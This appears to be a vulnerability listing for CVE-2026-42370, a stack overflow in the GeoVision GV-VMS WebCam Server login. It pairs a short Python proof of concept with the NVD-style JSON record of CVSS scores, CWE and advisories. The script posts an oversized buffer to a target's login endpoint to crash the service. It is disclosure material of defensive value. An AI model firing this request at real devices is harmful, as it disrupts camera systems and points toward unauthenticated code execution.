CVE-2026-42370

import requests def check_vulnerability(target_ip): """ PoC for CVE-2026-42370 This script sends a crafted HTTP request to trigger the stack overflow. """ target_url = f"http://{target_ip}/WebCamServer/Login" # Example endpoint # Crafting payload with a large pattern to trigger overflow # Adjust length based on specific offset analysis payload = b"A" * 5000 headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "CVE-2026-42370-Scanner" } try: print(f"[+] Sending payload to {target_url}...") response = requests.post(target_url, data=payload, headers=headers, timeout=5) # If the service crashes, the connection might be reset or timeout print("[+] Request sent. Check if the service has crashed.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred (Service might have crashed): {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: check_vulnerability(sys.argv[1])

{"cve": {"id": "CVE-2026-42370", "sourceIdentifier": "0df08a0e-a200-4957-9bb0-084f562506f9", "published": "2026-05-04T01:16:04.310", "lastModified": "2026-05-05T02:42:39.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack overflow vulnerability exists in the WebCam Server Login functionality of GeoVision GV-VMS V20 20.0.2. A specially crafted HTTP request can lead to an arbitrary code execution. An attacker can make an unauthenticated HTTP request to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "0df08a0e-a200-4957-9bb0-084f562506f9", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "0df08a0e-a200-4957-9bb0-084f562506f9", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:geovision:gv-vms_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "21.0.0", "matchCriteriaId": "B00ABF0D-B29A-4345-BD05-3DBE33C9C3B3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:geovision:gv-vms:20:*:*:*:*:*:*:*", "matchCriteriaId": "7158CB54-54B4-45D7-9D21-2EC82123D4FB"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/", "source": "0df08a0e-a200-4957-9bb0-084f562506f9", "tags": ["Third Party Advisory"]}, {"url": "https://www.geovision.com.tw/cyber_security.php", "source": "0df08a0e-a200-4957-9bb0-084f562506f9", "tags": ["Vendor Advisory"]}]}}